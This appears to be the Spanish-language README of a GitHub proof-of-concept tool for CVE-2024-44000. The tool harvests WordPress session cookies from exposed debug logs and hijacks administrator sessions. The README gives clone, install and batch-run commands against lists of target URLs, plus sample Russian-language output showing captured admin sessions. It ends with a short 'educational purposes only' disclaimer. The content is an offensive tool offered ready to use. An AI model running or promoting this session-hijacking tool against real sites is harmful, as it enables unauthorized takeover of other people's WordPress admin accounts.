geniuszly/cve-2024-44000es una herramienta de PoC diseñada para explotar registros de depuración expuestos de forma insegura de sitios WordPress y extraer cookies de sesión
GenCookieSessionHijack es una herramienta PoC diseñada para explotar registros de depuración expuestos de forma insegura en sitios WordPress y extraer cookies de sesión. Esto permite al atacante secuestrar sesiones activas de administrador y obtener acceso no autorizado al panel de administración de WordPress.
wordpress_logged_in).git clone https://github.com/geniuszly/CVE-2024-44000
cd CVE-2024-44000
pip install -r requirements.txt
list.txt).python GenCookieSessionHijack.py -f list.txt -o result.txt
-f, --file: Ruta al archivo que contiene la lista de URLs (por defecto: list.txt).-o, --output: Archivo para guardar los resultados (por defecto: result.txt).python GenCookieSessionHijack.py -f targets.txt -o output.txt
Esto leerá la lista de URLs de targets.txt, intentará extraer y usar cookies de sesión, y guardará los resultados en output.txt.
Si el intento de secuestro de sesión es exitoso, la herramienta generará una URL con la cookie de sesión de administrador secuestrada y la abrirá directamente en el navegador predeterminado.
[+] Лог-файл успешно получен с http://example.com
[+] Найдены session cookies для http://example.com:
wordpress_logged_in_abcdef123456
[+] Успешно захвачен сеанс администратора с cookie: wordpress_logged_in_abcdef123456
[+] URL захваченного сеанса: http://example.com/wp-login.php?redirect_to=http://example.com/wp-admin/?wordpress_logged_in_abcdef123456
[+] Установленный cookie: http://example.com/wp-login.php?cookie=wordpress_logged_in_abcdef123456
[-] Не удалось захватить сеанс администратора с cookie: wordpress_logged_in_invalidcookie
[-] Session cookies не найдены в логах для http://another-example.com
[-] Не удалось получить лог-файл для http://another-example.com. Код ответа: 404
Esta herramienta está destinada únicamente a fines educativos y no debe ser utilizada para actividades ilegales. El autor no es responsable de ningún uso indebido o daño causado por esta herramienta.